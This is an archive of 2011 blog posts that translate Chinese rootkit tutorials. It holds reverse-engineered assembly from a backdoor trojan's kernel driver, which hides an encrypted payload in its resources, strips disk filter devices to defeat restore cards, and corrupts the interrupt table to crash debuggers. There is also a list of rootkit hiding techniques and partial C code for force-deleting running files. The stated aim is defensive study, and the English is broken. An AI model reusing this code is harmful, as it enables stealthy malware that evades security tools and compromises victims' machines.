view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-63208227907242651872011-10-06T07:07:00.000-07:002011-10-07T06:35:40.268-07:00Learn and study Rootkit Specials 4: kernel hook - object hook(3);
***************************************************************************<br />
;
Check up offset address upper byte of 9 mark interrupt descriptor and E mark ;interrupt descriptor, if offset address upper byte of 9 mark interrupt ;descriptor is zero to exit, if isn't zero to judge offset address upper byte of ;E mark interrupt descriptor compare with offset address upper byte of 9 mark ;interrupt descriptor, if both equal to exit, If not offset address 16bit of ;offset address upper byte of E mark interrupt descriptor is set zero. Let it ;point error address. Destroy the interrupt function. Because many debugger ;articulate 0xE, The rootkit do this may to let the program create system BSOD ;when debug, That is anti debug trap by author. <br />
;****************************************************************************<br />
<br />
AntiDebug
proc near<br />
LOCAL nTemp:dword<br />
pusha<br />
sidt fword
ptr IDTData <br />
mov esi, dword ptr IDTData+2 ;Get base address<br />
mov eax, 9 ;index = 9, #interrupt 09<br />
shl
eax, 3 ;each descriptor take up 8 bytes<br />
add esi,
eax ;esi point 9 mark descriptor <br />
movzx eax, word
ptr [esi+6] ;Take out upper 16 bit byte offset address interrupt function<br />
shl eax, 10h<br />
mov ax,
[esi] ;Take low 16 bits offset address of interrupt function <br />
and eax,
0FF000000h ;Take a upper byte of offset address<br />
mov nTemp, eax<br />
test
eax, eax<br />
jz QUIT<br />
mov esi, dword ptr IDTData+2 ;Take base address<br />
mov eax, 0Eh ;index = E, #interrupt 0E<br />
shl
eax, 3 ;Each descriptor take 8 bytes<br />
add esi,
eax ;esi piont E mark descriptor <br />
movzx eax, word ptr
[esi+6] ;Take upper 16 bit byte offset address interrupt function<br />
shl eax, 10h<br />
mov ax,
[esi] ;Take a upper byte of offset address<br />
and eax,
0FF000000h ;Take a upper byte of offset address<br />
cmp eax, nTemp
;Compare upper byte offset address of two interrupt descriptor<br />
jz QUIT<br />
mov word ptr [esi+6],
0 ;Modify offset address of interrupt gates, upper 16 bit is set zero<br />
<br />
QUIT:<br />
popa<br />
retn<br />
AntiDebug
endp<br />
<br />
<br />
;************************************************************************************<br />
;
Dispose IRP_MJ_DEVICE_CONTROL,IRP_MJ_CREATE,IRP_MJ_CLOSE to request<br />
;
IRP_MJ_CREATE routine take charge get disc device object and check the device stack whether load other device, IF have to save the device and unload it.<br />
; Call IoGetDeviceObjectPointer to get device object that be device named-"\\Device\\Harddisk0\\DR0" .<br />
;
IRP_MJ_CLOSE recover DR0 to attach<br />
;
IRP_MJ_DEVICE_CONTROL中对0xF0003C04 mark respond, First in line with a constant Key to be create decrypt array, Then<br />
;
user imported code operate with decrypt array, finaly create a secret key, last use the secret key find front sys resource,<br />
; After decrypt to take content return user program.<br />
;************************************************************************************<br />
DispatchFunction
proc device:dword,pIrp:dword<br />
<br />
LOCAL
ObjectName:UNICODE_STRING<br />
LOCAL DestinationString:OEM_STRING<br />
LOCAL FileObject:dword<br />
LOCAL DeviceObject:dword<br />
<br />
push edi<br />
push esi<br />
push ebx<br />
mov edi, pIrp<br />
mov dword ptr [edi+1Ch], 0 ;zero setIoStatus on IRP, see ntddk.inc<br />
mov dword ptr [edi+18h], 0<br />
<br />
mov esi, [edi+60h]
;Take IRP.CurrentStackLocation<br />
movzx eax, byte ptr
[esi];IO_STACK_LOCATION.MajorFunction<br />
or eax, eax<br />
jnz
IRPMJCLOSE<br />
jmp short $+2 ;junk instruction<br />
<br />
;IRP_MJ_CREATE request, Will break \Device\Harddisk0\DR0 attach device on IRP_MJ_CREATE上附加的设备.<br />
push offset SourceString ; "\\Device\\Harddisk0\\DR0"<br />
lea eax,
DestinationString<br />
push eax ; DestinationString<br />
call RtlInitAnsiString<br />
push 1 ; AllocateDestinationString<br />
lea eax, DestinationString<br />
push eax ; SourceString<br />
lea eax, ObjectName<br />
push eax ; DestinationString<br />
call RtlAnsiStringToUnicodeString<br />
xor eax, eax<br />
mov
FileObject, eax<br />
mov DeviceObject, eax<br />
lea eax,
DeviceObject<br />
push eax ; DeviceObject<br />
lea eax,
FileObject<br />
push eax ; FileObject<br />
push 80h ;
DesiredAccess<br />
lea eax, ObjectName<br />
push eax ;
ObjectName<br />
call IoGetDeviceObjectPointer<br />
mov eax,
FileObject<br />
jmp short $+2 ;junk instruction<br />
mov eax, [eax+4]
;FILE_OBJECT.DeviceObject 见ntddk.inc<br />
mov g_DeviceObject, eax<br />
cmp dword ptr [eax+10h], 0 ;DEVICE_OBJECT.AttachedDevice<br />
jz
ClearAttachedDevice<br />
jmp short $+2 ;junk instruction<br />
mov ecx,
[eax+10h]<br />
xchg ecx, g_AttachedDevice<br />
mov [eax+10h],
ecx<br />
<br />
ClearAttachedDevice:<br />
push FileObject<br />
call ObDereferenceObject<br />
lea eax, ObjectName<br />
push
eax ; UnicodeString<br />
call RtlFreeUnicodeString<br />
jmp
Quit<br />
<br />
IRPMJCLOSE:<br />
cmp eax, 2<br />
jnz
IRPMJDEVICECONTROL<br />
mov eax, g_DeviceObject<br />
or eax, eax<br />
jz Quit<br />
mov ecx, g_AttachedDevice<br />
or ecx, ecx<br />
jz NoAttachedDevice<br />
mov [eax+10h], ecx<br />
<br />
NoAttachedDevice:<br />
jmp Quit<br />
<br />
IRPMJDEVICECONTROL:<br />
cmp eax, 0Eh<br />
jnz Quit<br />
mov eax, [esi+0Ch];
IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode<br />
cmp
eax, 0F0003C04h ;Judge whether is client pass into ctlcode<br />
jnz Quit<br />
call
CreateDecodeKey<br />
mov ebx, [edi+0Ch]
;IRP.AssociatedIrp.SystemBuffer<br />
mov ecx, [esi+8]
;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength<br />
call DecodeInputData<br />
mov DecodeKEY, eax<br />
push
DecodeKEY<br />
push offset Format ; "%08X"<br />
call DbgPrint<br />
add esp, 8<br />
mov eax, [esi+4]
;IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength<br />
cmp eax, NumberOfBytes<br />
jbe Quit<br />
<br />
mov edi,
[edi+3Ch];IRP.UserBuffer<br />
mov esi, P<br />
mov ecx,
NumberOfBytes<br />
shr ecx, 2<br />
<br />
DecodeResource:
;Export resource content, feed back to user<br />
lodsd<br />
xor eax, DecodeKEY<br />
stosd<br />
dec ecx<br />
jnz DecodeResource<br />
mov ecx, NumberOfBytes<br />
and ecx, 3<br />
rep movsb<br />
<br />
Quit:<br />
push 0<br />
push pIrp<br />
call IoCompleteRequest<br />
mov eax, 0<br />
pop ebx<br />
pop esi<br />
pop edi<br />
retn<br />
DispatchFunction
endp<br />
<br />
<br />
;******************************************************************<br />
;
UnLoad routine<br />
;******************************************************************<br />
PCIHDDUnload
proc pDriverObject :dword<br />
<br />
LOCAL
DestinationString:OEM_STRING<br />
LOCAL
SymbolicLinkName:UNICODE_STRING<br />
<br />
push edi<br />
push
esi<br />
push ebx<br />
pusha<br />
cmp P, 0<br />
jz
CONTINUE<br />
push P ; P<br />
call ExFreePool ;Free memory<br />
<br />
CONTINUE:<br />
cmp pDriverObject, 0 <br />
jz QUIT<br />
push offset
aDosdevicesPhys ; "\\DosDevices\\PhysicalHardDisk0"<br />
lea eax,
DestinationString<br />
push eax ; DestinationString<br />
call
RtlInitAnsiString<br />
push 1 ; AllocateDestinationString<br />
lea eax, DestinationString<br />
push eax ; SourceString<br />
lea eax, SymbolicLinkName<br />
push eax ; DestinationString<br />
call RtlAnsiStringToUnicodeString<br />
lea eax, SymbolicLinkName<br />
push eax ; SymbolicLinkName<br />
call IoDeleteSymbolicLink<br />
lea eax, SymbolicLinkName<br />
push eax ; UnicodeString<br />
call RtlFreeUnicodeString<br />
mov edi, pDriverObject<br />
mov
esi, [edi+4] ;DeviceObject<br />
jmp IsDeviceExist<br />
<br />
DELETEDEVICE:<br />
mov edi, [esi+0Ch];DriverObject<br />
push esi ; DeviceObject<br />
call IoDeleteDevice<br />
mov esi, edi<br />
<br />
IsDeviceExist:<br />
or esi, esi<br />
jnz DELETEDEVICE<br />
<br />
QUIT:<br />
popa<br />
pop ebx<br />
pop esi<br />
pop edi<br />
retn<br />
PCIHDDUnload
endp<br />
<br />
<br />
<br />
;
**********************************************************************<br />
;
Here is entry of driver program;
**********************************************************************<br />
public
start<br />
start proc near<br />
<br />
LOCAL nTemp:dword<br />
LOCAL DestinationString:OEM_STRING<br />
LOCAL DeviceObject:dword<br />
LOCAL SymbolicLinkName:UNICODE_STRING<br />
LOCAL
DeviceName:UNICODE_STRING<br />
LOCAL DriverObject:dword<br />
<br />
push edi<br />
push esi<br />
push ebx<br />
pusha<br />
nop<br />
nop<br />
call AntiDebug ;anti debug<br />
call GetPeHeader<br />
or
eax, eax<br />
jz QUIT ;Can't find current driver memory load place<br />
mov ecx, eax<br />
lea eax, nTemp<br />
push eax<br />
push 3E8h<br />
push 3E8h<br />
push ecx<br />
call SearchResourceByIDInFirstLayer<br />
or eax,
eax<br />
jz QUIT<br />
mov NumberOfBytes, eax<br />
push
NumberOfBytes ; NumberOfBytes<br />
push 0 ; PoolType<br />
call ExAllocatePool ;in line with resource length apply for memory.<br />
mov P, eax<br />
jmp short
$+2 ;Junk instruction<br />
mov edi, P<br />
mov esi, nTemp<br />
mov ecx,
NumberOfBytes<br />
rep movsb ;Copy resource to buffer<br />
jmp ContinueWork<br />
<br />
QUIT:<br />
popa<br />
xor eax, eax<br />
dec eax<br />
pop ebx<br />
pop esi<br />
pop edi<br />
retn<br />
<br />
ContinueWork:<br />
jmp short $+2 ;Judge instruction<br />
mov eax, DriverObject<br />
mov dword
ptr [eax+34h], offset PCIHDDUnload
;DriverObject.DriverUnLoad = PCIHDDUnload<br />
lea edi, [eax+38h]
;edi指向MajorFunction<br />
lea eax, DispatchFunction<br />
mov
[edi], eax ;IRP_MJ_CREATE EQU 0<br />
mov [edi+8],
eax ;IRP_MJ_CLOSE equ 2<br />
mov [edi+38h], eax
;IRP_MJ_DEVICE_CONTROL equ 0Eh 见ntddk.inc<br />
<br />
push
offset aDevicePhysical ; "\\Device\\PhysicalHardDisk0"<br />
lea eax,
DestinationString<br />
push eax ; DestinationString<br />
call RtlInitAnsiString<br />
push 1 ; AllocateDestinationString<br />
lea eax, DestinationString<br />
push eax ; SourceString<br />
lea eax, DeviceName<br />
push eax ; DestinationString<br />
call RtlAnsiStringToUnicodeString<br />
push offset aDosdevicesPhys ;
"\\DosDevices\\PhysicalHardDisk0"<br />
lea eax, DestinationString<br />
push eax ; DestinationString<br />
call RtlInitAnsiString<br />
push 1 ; AllocateDestinationString<br />
lea eax,
DestinationString<br />
push eax ; SourceString<br />
lea eax,
SymbolicLinkName<br />
push eax ; DestinationString<br />
call
RtlAnsiStringToUnicodeString<br />
lea eax, DeviceObject<br />
push eax ; DeviceObject<br />
push 0 ; Exclusive<br />
push
0 ; DeviceCharacteristics<br />
push 15h ; DeviceType<br />
lea eax, DeviceName<br />
push eax ; DeviceName<br />
push
0 ; DeviceExtensionSize<br />
push DriverObject; DriverObject<br />
call IoCreateDevice ;Create device<br />
or eax, eax<br />
jz
CreateDeviceSucess<br />
jmp Quit<br />
<br />
CreateDeviceSucess:<br />
lea eax, DeviceName<br />
push eax ; DeviceName<br />
lea
eax, SymbolicLinkName<br />
push eax ; SymbolicLinkName<br />
call IoCreateSymbolicLink ;Create symbol link<br />
or eax, eax<br />
jz Quit<br />
mov edi, DriverObject<br />
mov esi, [edi+4]
;DRIVER_OBJECT.DeviceObject<br />
jmp StartCycle<br />
<br />
ContinueDeleteDevice:<br />
mov edi, [esi+0Ch] ;DEVICE_OBJECT.DriverObject<br />
push
esi ; DeviceObject<br />
call IoDeleteDevice<br />
mov
esi, edi<br />
<br />
StartCycle:<br />
or esi, esi<br />
jnz
ContinueDeleteDevice<br />
jmp short $+2 ;Junk instruction, Execute exit command<br />
<br />
Quit:<br />
lea eax, DeviceName<br />
push eax ; UnicodeString<br />
call
RtlFreeUnicodeString<br />
lea eax, SymbolicLinkName<br />
push
eax ; UnicodeString<br />
call RtlFreeUnicodeString<br />
popa<br />
xor eax, eax<br />
pop ebx<br />
pop esi<br />
pop edi<br />
retn<br />
start endp<br />
<br />
end startview4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-15508371258714865642011-10-05T07:05:00.000-07:002011-10-07T06:35:09.260-07:00Learn and study Rootkit Specials 3: kernel hook - object hook(2);************************************************************************<br />
; Take out resource imformation on third stage resource, if succeed, Return to take out resource length <br />
;************************************************************************<br />
<br />
SearchResourceByIDInThirdLayer proc
PEHeader:dword,ResourceAddr:dword,ChildResource:dword,pOutValue:dword<br />
LOCAL RetValue:dword <br />
pusha<br />
xor eax, eax<br />
mov RetValue, eax<br />
mov esi, ChildResource<br />
mov cx, [esi+0Ch];Be named after entry count<br />
add cx, [esi+0Eh];Entry count To ID named <br />
movzx ecx, cx<br />
add esi, 10h ;esi point back IMAGE_RESOURCE_DIRECTORY_ENTRY<br />
<br />
cmp ecx, 0<br />
jbe Quit<br />
mov ebx, [esi+4] ;offsetToData directory entry pointer<br />
and ebx, 7FFFFFFFh<br />
add ebx, ResourceAddr ;ebx point IMAGE_RESOURCE_DATA_ENTRY structure<br />
mov eax, [ebx] ; Take out RVA of resource data, amount to first term of IMAGE_RESOURCE_DATA_ENTRY structure<br />
add eax, PEHeader<br />
mov ecx, pOutValue ;pOutValue point address of resource data<br />
mov [ecx], eax<br />
mov ecx, [ebx+4]<br />
mov RetValue, ecx ;Return resource data length<br />
<br />
Quit:<br />
popa<br />
mov eax, RetValue<br />
retn<br />
SearchResourceByIDInThirdLayer endp<br />
<br />
<br />
<br />
;************************************************************************<br />
; Find resource term for ID named after ChildResID on second stage resource<br />
;************************************************************************<br />
SearchResourceByIDInSecondLayer proc
PEHeader:dword,ResourceAddr:dword,ChildResource:dword,ChildResID:dword,pOutValue:dword<br />
<br />
LOCAL RetValue:dword<br />
pusha<br />
xor eax, eax<br />
mov RetValue, eax<br />
mov esi, ChildResource<br />
mov cx, [esi+0Ch] ;Be named after entry count<br />
add cx, [esi+0Eh] ;Entry count To ID named<br />
movzx ecx, cx<br />
add esi, 10h ;esi point back IMAGE_RESOURCE_DIRECTORY_ENTRY<br />
jmp StartSearchChildDirectoryEntry<br />
<br />
ContinueSearchChildDirectoryEntry:<br />
push ecx<br />
mov ebx, [esi+4] ;offsetToData directory entry pointer<br />
test ebx, 80000000h<br />
jz JumpOver ;; If highest 31bit is zero, Skip to continue next directory entry.<br />
and ebx, 7FFFFFFFh<br />
add ebx, ResourceAddr ;Otherwise take out next address<br />
mov edx, [esi] ;Take out string pointer or ID of directory entry <br />
test edx, 80000000h<br />
jnz JumpOver ;If highest 31bit is 1,[esi] oow order represent string pointer<br />
cmp edx, ChildResID<br />
jnz JumpOver<br />
push pOutValue<br />
push ebx<br />
push ResourceAddr<br />
push PEHeader<br />
call SearchResourceByIDInThirdLayer<br />
mov RetValue, eax<br />
or eax, eax<br />
jz JumpOver<br />
pop ecx<br />
jmp Quit<br />
<br />
JumpOver:<br />
add esi, 8<br />
pop ecx<br />
dec ecx<br />
<br />
StartSearchChildDirectoryEntry:<br />
cmp ecx, 0<br />
ja ContinueSearchChildDirectoryEntry<br />
<br />
Quit:<br />
popa<br />
mov eax, RetValue<br />
retn<br />
SearchResourceByIDInSecondLayer endp<br />
<br />
<br />
<br />
;******************************************************************************************<br />
; Find resource term for ID named after RESOURCEID on first stage
resource<br />
;******************************************************************************************<br />
<br />
SearchResourceByIDInFirstLayer proc
PEHeader:dword,ChildResID:dword,RESOURCEID:dword,pOutValue:dword<br />
LOCAL retvalue:dword <br />
LOCAL ResourceAddr:dword<br />
<br />
pusha<br />
xor eax, eax<br />
mov retvalue, eax<br />
mov edi, PEHeader<br />
mov edi, [edi+3Ch]<br />
add edi, PEHeader<br />
mov ecx, [edi+8Ch] ;Resource table size<br />
or ecx, ecx<br />
jz QUIT<br />
mov eax, [edi+88h] ;Resource table RVA<br />
add eax, PEHeader<br />
mov ResourceAddr, eax<br />
push eax ; VirtualAddress<br />
call MmIsAddressValid<br />
or eax, eax<br />
jnz @F<br />
jmp QUIT<br />
<br />
@@:<br />
mov esi, ResourceAddr<br />
mov cx, [esi+0Ch];Be named after entry count<br />
add cx, [esi+0Eh];Entry count To ID named<br />
movzx ecx, cx<br />
add esi, 10h ;esi point back IMAGE_RESOURCE_DIRECTORY_ENTRY<br />
jmp StartSearchDirectoryEntry<br />
<br />
ContinueSearchDirectoryEntry:<br />
push ecx<br />
mov ebx, [esi+4] ;offsetToData directory entry pointer<br />
test ebx, 80000000h<br />
jz JumpOver ; If highest 31bit is zero, Skip to continue next directory entry.<br />
and ebx, 7FFFFFFFh<br />
add ebx, ResourceAddr ;Save next address<br />
mov eax, [esi];Take directory string pointer or ID<br />
test eax, 80000000h<br />
jnz JumpOver ;If highest 31bit is 1,[esi] oow order represent string pointer<br />
cmp eax, RESOURCEID<br />
jnz JumpOver<br />
push pOutValue ;Find matched resource ID<br />
push ChildResID<br />
push ebx<br />
push ResourceAddr<br />
push PEHeader<br />
call SearchResourceByIDInSecondLayer<br />
mov retvalue, eax<br />
pop ecx<br />
jmp QUIT<br />
<br />
JumpOver:<br />
add esi, 8 ;Continue read next directory entry<br />
pop ecx<br />
dec ecx<br />
<br />
StartSearchDirectoryEntry:<br />
cmp ecx, 0 ;Judge directory entry whether ergodic finish<br />
ja ContinueSearchDirectoryEntry <br />
<br />
QUIT:<br />
popa<br />
mov eax, retvalue<br />
retn<br />
SearchResourceByIDInFirstLayer endp<br />
<br />
<br />
<br />
;
************************************************************************<br />
; Get memory load place of current driver file, if can't find, Return zero<br />
;*************************************************************************<br />
<br />
GetPeHeader proc near<br />
<br />
LOCAL PEStart:dword<br />
pusha<br />
mov PEStart, 0<br />
<br />
CURRENT_EIP:<br />
lea ebx, CURRENT_EIP<br />
and ebx, 0FFFFFC00h ; Low bit zero clearing<br />
<br />
CHECKPEHEADER: ; VirtualAddress<br />
push ebx<br />
call MmIsAddressValid ;Judge current address whether valid<br />
or eax, eax <br />
jz QUIT ;unsuccess is jumped to exit<br />
cmp ebx, 80000000h ;If current eip less than or equal to 80000000h, exit<br />
jbe QUIT<br />
cmp word ptr [ebx], 5A4Dh ; 'MZ'<br />
jnz SEARCHDOSHEADER<br />
mov edi, ebx<br />
add edi, [ebx+3Ch]<br />
push edi ; VirtualAddress<br />
call MmIsAddressValid<br />
or eax, eax<br />
jz SEARCHPEHEADER<br />
cmp word ptr [edi], 4550h ;'PE'<br />
jnz SEARCHPEHEADER<br />
mov PEStart, ebx<br />
jmp QUIT<br />
<br />
SEARCHPEHEADER:<br />
sub ebx, 400h<br />
jmp CHECKPEHEADER<br />
jmp QUIT<br />
<br />
SEARCHDOSHEADER:<br />
sub ebx, 400h<br />
jmp CHECKPEHEADER<br />
<br />
QUIT:<br />
popa<br />
mov eax, PEStart<br />
retn<br />
GetPeHeader endp<br />
<br />
<br />
<br />view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-39881945248240670722011-10-04T08:08:00.001-07:002011-10-04T08:08:15.817-07:00Learn and study Rootkit Specials 2: kernel hook - object hook(1)<div style="text-align: center;">
Author:combojiang</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: left;">
Today will begin practical rootkit. The article talk object hook.<br /><br />The article root in Backdoor Tyojan code of reverse, I only post applied part some time ago, I am not post kernel part for don't used in. But if learn, There is use rootkit that is superduper example to learn. So I use it to first learn rootkit. I hope to don't use code to other.</div>
<div style="text-align: left;">
<br />To the rootkit, Break restore is a part of function, Wonderful part isn't here, but imformation encryption and hide and anti-debugger oneself. After Reverse analyse, Author is good bitterness work hard, If the code use in the right direction, Will benefit many people......<br /><br />First hide imformation bright spot: Rootkit as an resource hide on program of user module.</div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Second hide imformation bright spot: The user program code as an preface of generate secret key, That can effectively prevent after reverse, imformation of hide is flawed, Because only after reverse to generate code is full same original author code, Do this can open deep hide link of downloader and code.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Third hide imformation bright spot: Use a fixed key, Generate array by 1024 secret key component, Then use the secret key array operate with user code, finaly generate 4 bytes decode key.</div>
<div style="text-align: left;">
Use decode key, find to hide dirty bad thing on its resourse form driver of load to memory. and finaly full clear trace.</div>
<div style="text-align: left;">
<br />Four hide imformation bright spot: Modify idt 0e mark break, let it point a invalid address to BSOD when debug, Do this can anti-debug. <br /><br />These bright spot only is on rootkit, As an part of user code have many bright spot, Because already post the code some time ago, Everyone refer to finde its bright spot. OK, joking apart.</div>
<div style="text-align: left;">
<br />Principle of break through restore card: Use object hook on here. <br /><br />1. IRP_MJ_CREATE routine is used to get disc disk device object, Call IoGetDeviceObjectPointer function to get "\\Device\\Harddisk0\\DR0" - the name of device object, and detect device whether have other device articulated, If have to save the device and wipe off the articulated.</div>
<div style="text-align: left;">
<br />2. Recover addition of DR0 on IRP_MJ_CLOSE, Do this must come and go without a trace.<br /><br />Ok, Let us watch reverse code:</div>
<div style="text-align: left;">
.386<br />.model flat, stdcall<br />option casemap:none<br /><br />include pcihdd.inc<br /><br />.data<br /> aDevicePhysical db '\Device\PhysicalHardDisk0',0<br /> aDosdevicesPhys db '\DosDevices\PhysicalHardDisk0',0<br /> SourceString db '\Device\Harddisk0\DR0',0<br /> g_DeviceObject dd 0<br /> g_AttachedDevice dd 0<br /> DecodeKey dd 1024 dup (0)<br /> DecodeKEY dd 0<br /> P dd 0<br /> NumberOfBytes dd 0<br /> IDTData db 6 dup(0)<br /> Format db '%08X',0<br /><br />.code<br /><br />;*******************************************************************************<br />; Generate a decode secret key array<br />;*******************************************************************************<br />CreateDecodeKey proc<br /> jmp short $+2 ;junk instruction<br /> mov ecx, 100h<br /> mov edx, 0CCECC9B1h ;KEY<br /> <br />OutLoop:<br /> lea eax, [ecx-1] <br /> push ecx<br /> mov ecx, 8<br /> <br />InLoop:<br /> shr eax, 1 <br /> jnb ContinueLoop<br /> xor eax, edx<br /> <br />ContinueLoop:<br /> dec ecx<br /> jnz InLoop<br /> pop ecx<br /> mov DecodeKey[ecx*4], eax ;Save decode secret key array<br /> dec ecx<br /> jnz OutLoop<br /> retn<br />CreateDecodeKey endp<br /><br />;*****************************************************************************<br />; Use mode import full code operate with above generation decode secret key, finaly generate decode key<br />; Decode key will be used to decode content of driver resource, After decode Resource feed back to user .(Watch start)<br />;*****************************************************************************<br />DecodeInputData proc near<br /> jmp short $+2 ;junk instruction<br /> mov eax, 0FFFFFFFFh<br /> or ebx, ebx ;Judge IRP.AssociatedIrp.SystemBuffer whether is null<br /> jz Quit<br /> <br />@@:<br /> mov dl, [ebx]<br /> xor dl, al<br /> movzx edx, dl<br /> shr eax, 8<br /> xor eax, DecodeKey[edx*4]<br /> inc ebx<br /> dec ecx<br /> jnz @B<br /> <br />Quit:<br /> not eax<br /> retn<br />DecodeInputData endp<br /><br /><br /><br /><br /></div>
view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-70402499907485146112011-10-03T07:56:00.000-07:002011-10-03T07:56:18.689-07:00Learn and study Rootkit Specials 1: Content<div style="text-align: center;">
Author:combojiang</div>
What is rootkit? A great many friends don't know, Simply put, Rootkit is a peculiar malware. It hide oneself or specified file/process or network links etc imformations on be installed aim, Usual rootkit is used with trojan/back door etc malware. Rootkit through to load special drive, modify system kernel for hide imformation. Technology is rapier, We study it to aim at use the technology to protect our system, let our system can better strong.<br />
<br />
To study of rootkit specials, main invole:<br />
1.Kernel hook<br />
About hook, ring3 to ring0 has many method, Depending on tache go forward one by one order that api is called, Every tache both have hook opportunity. May be int 2e or sysenter hook, ssdt hook, inline hook, irp hook, object hook, idt hook. here, We will one by one introduce.<br />
1)object hook<br /> 2)ssdt hook<br /> 3)inline-hook<br /> 4)idt hook<br /> 5)IRP hook<br /> 6)SYSENTER hook<br /> 7)IAT HOOK<br /> 8)EAT HOOK<br /><br />2. Part first Protected mode: ring3 to ring0 gate<br />
1)Through Call gate access kernel<br />
2)Through Interrupt gate access kernel<br /> 3)Through Task gate access kernel<br /> 4)Through Trap gate access kernel<br /><br /><br />3。Part two Protected mode: windows Paging machine made<br />
1)windows Paging machine made<br /> <br />4。Part third Protected mode: Immediate access hardware<br /> 1)Modify iopl,ring3 immediate access hardware<br /> 2)Add to default I/O allow bitmap range of tss<br /> 3)ChangeI/O allow bitmap pointer of tss <br /><br />5。detour modify path of function exe, Be used to control function flow for reset path.<br />
1)detour patch<br /> <br /><br />6. Concealed body art<br /> 1)Hide file<br /> 2)Hide process<br /> 3)Hide registry key value<br /> 4)Hide driver<br /> 5)Hide process's dll module<br /> 6)Strong hide process's dll module, bypass IceSword detect<br /> 7)Hide port<br /> <br />7。Call ring3 program on ring0<br /> 1) apc way <br /> 2) deviceiocontrol way<br /><br />8。Monitor process's thread<br /> 1)Monitor process to create<br /> 2)Kill thread<br />
3)Protect process and shield file to execute <br /><br />9。Other<br /> 1)Some method Get address of ntoskrnl.exe module模块地址的几种办法<br /> 2)Driver infection technology popularize<br /> 3)shadow ssdt learn note<br />
4)Past master advanced windows kernel timer one<br /> 5)Past master advanced windows kernel timer two<br /> 6)Running modify path of executable file and Command Line<br /> 7)Find hide driver<br /> 8)Some method load driver<br /> 9)A rogue method Inject dll on kernel<br /> 10)Another method read and write memory<br /> 11)Full driver infect code<br /> 12)Hook Shadow SSDT<br /> 13)ring0 detection hide process<br /><br /><br />view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-5791373754125243692011-10-02T06:55:00.000-07:002011-10-02T06:57:23.036-07:00Will translate tutorial of chinese rootkitWill translate tutorial of chinese rootkit tomorrow. The tutorial is good for you and me by chinese past master worte. Because work every day, Will slow Translate articles. My english is not good,but I wish you read to know and join all
comments<br />
<br />
If you like its, please talk with me, Thanks!view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-20440798478205800602011-10-01T07:28:00.000-07:002011-10-01T07:28:57.368-07:00Learn to force delete running file<div style="text-align: center;">
Author:yaolibing</div>
<div style="text-align: left;">
Force delete file, Create IRP oneself in fact, Then send IRP for ntfs.sys, First set attribute of file, after delete file. When delete file, get routine dispatch of ntfs.sys, in turn entry NtfsSetDispositionInfo->MmFlushImageSection. MmFlushImageSection() will check SECTION_OBJECT_POINter structure of the file object,Check whether null, i.e check the file run, if not, return TRUE. So if want to delete running file, A method, can set variable of SECTION_OBJECT_POINter structure to 0. MmFlushImageSection() return TRUE,mean can delete. Another method can use MmFlushImageSection() - hook ntfs.sys import function, Check whether is deleted file on hook function, If yes, return True. Next is full code</div>
<div style="text-align: left;">
<br />#include <ntddk.h><br /><br />#define NT_DEVICE_NAME L"\\Device\\SuperKill"<br />#define DOS_DEVICE_NAME L"\\DosDevices\\SuperKill"<br /><br /><br />VOID <br />SKillUnloadDriver( <br /> IN PDRIVER_OBJECT DriverObject <br /> )<br />{<br /> PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;<br /> UNICODE_STRING uniSymLink;<br /><br /> RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);<br /> <br /> IoDeleteSymbolicLink(&uniSymLink);<br /><br /> IoDeleteDevice(deviceObject);<br />}<br /><br /><br />HANDLE<br />SkillIoOpenFile(<br /> IN PCWSTR FileName,<br /> IN ACCESS_MASK DesiredAccess,<br /> IN ULONG ShareAccess<br /> )<br />{<br /> NTSTATUS ntStatus;<br /> UNICODE_STRING uniFileName;<br /> OBJECT_ATTRIBUTES objectAttributes;<br /> HANDLE ntFileHandle;<br /> IO_STATUS_BLOCK ioStatus;<br /><br /> if (KeGetCurrentIrql() > PASSIVE_LEVEL)<br /> {<br /> return 0;<br /> }<br /><br /> RtlInitUnicodeString(&uniFileName, FileName);<br /><br /> InitializeObjectAttributes(&objectAttributes, &uniFileName,<br /> OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);<br /><br /> ntStatus = IoCreateFile(&ntFileHandle,<br /> DesiredAccess,<br /> &objectAttributes,<br /> &ioStatus,<br /> 0,<br /> FILE_ATTRIBUTE_NORMAL,<br /> ShareAccess,<br /> FILE_OPEN,<br /> 0,<br /> NULL,<br /> 0,<br /> 0,<br /> NULL,<br /> IO_NO_PARAMETER_CHECKING);<br /><br /> if (!NT_SUCCESS(ntStatus))<br /> {<br /> return 0;<br /> }<br /><br /> return ntFileHandle;<br />}<br /><br />NTSTATUS<br />SkillSetFileCompletion(<br /> IN PDEVICE_OBJECT DeviceObject,<br /> IN PIRP Irp,<br /> IN PVOID Context<br /> )<br />{<br /> Irp->UserIosb->Status = Irp->IoStatus.Status;<br /> Irp->UserIosb->Information = Irp->IoStatus.Information;<br /><br /> KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, FALSE);<br /><br /> IoFreeIrp(Irp);<br /><br /> return STATUS_MORE_PROCESSING_REQUIRED;<br />}<br /><br />BOOLEAN<br />SKillStripFileAttributes(<br /> IN HANDLE FileHandle<br /> )<br />{<br /> NTSTATUS ntStatus = STATUS_SUCCESS;<br /> PFILE_OBJECT fileObject;<br /> PDEVICE_OBJECT DeviceObject;<br /> PIRP Irp;<br /> KEVENT event1;<br /> FILE_BASIC_INFORMATION FileInformation;<br /> IO_STATUS_BLOCK ioStatus;<br /> PIO_STACK_LOCATION irpSp;<br /><br /> ntStatus = ObReferenceObjectByHandle(FileHandle,<br /> DELETE,<br /> *IoFileObjectType,<br /> KernelMode,<br /> &fileObject,<br /> 